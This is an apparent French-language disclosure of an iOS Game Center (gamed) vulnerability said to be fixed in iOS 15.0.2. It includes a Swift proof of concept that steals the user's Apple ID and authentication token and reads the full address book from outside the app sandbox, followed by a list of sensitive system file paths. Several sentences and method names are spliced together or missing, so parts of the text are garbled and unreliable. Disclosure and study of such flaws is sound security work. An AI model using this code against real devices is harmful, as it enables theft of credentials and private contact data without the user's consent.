
Exploit de jeu iOS (corrigé dans 15.0.2)
Mise à jour : Apple a discrètement corrigé ce problème dans iOS 15.0.2 sans aucune reconnaissance publique ni crédit.
Toute application installée depuis l'App Store peut accéder aux données suivantes sans aucune invite de l'utilisateur :
Voici une courte preuve de concept.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Comment cela se produit :
com.apple.gamed ne vérifie pas correctement l'entitlement com.apple.developer.game-centergetServicesForPID:localPlayer:reply: renvoie plusieurs objets proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).com.apple.developer.game-center), l'appel de authenticatePlayerWithExistingCredentialsWithHandler: sur GKAccountService renvoie un objet contenant l'Apple ID de l'utilisateur, le DSID et le jeton d'authentification Game Center (qui permet d'envoyer des requêtes à https://gc.apple.com au nom de l'utilisateur). L'appel de getProfilesForPlayerIDs:handler: sur GKProfileService renvoie un objet contenant le prénom et le nom de l'Apple ID de l'utilisateur. L'appel de sur renvoie un objet avec des informations sur l'ami de l'utilisateur dans Game Center.Sur la page du programme Apple Security Bounty, cette vulnérabilité est évaluée à 100 000 $ (accès étendu de l'application à des données sensibles normalement protégées par une invite TCC ou le sandbox de la plateforme. L'accès aux « données sensibles » inclut l'obtention d'un accès étendu (c'est-à-dire la base de données complète) aux Contacts).
getFriendsForPlayer:handler:GKFriendServicecom.apple.developer.game-center, l'appel de requestImageDataForURL:subdirectory:fileName:handler: sur GKUtilityService permet de lire des fichiers arbitraires en dehors du sandbox de l'application en transmettant des URL de fichiers à cette méthode. Parmi les fichiers (sans s'y limiter) auxquels il est possible d'accéder de cette façon figurent :
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contient le cache mobile gestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - contient une liste de contacts issus de Mail, SMS, iMessage, d'applications de messagerie tierces et des métadonnées sur l'interaction de l'utilisateur avec ces contacts (y compris horodatages et statistiques)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contient les contacts favoris et leurs numéros de téléphone
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - contient la base de données complète du carnet d'adresses
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contient les photos des contacts du carnet d'adressescacheImageData:inSubdirectory:withFileName:handler: sur GKUtilityService pourrait permettre d'écrire des données arbitraires vers un emplacement en dehors du sandbox de l'application.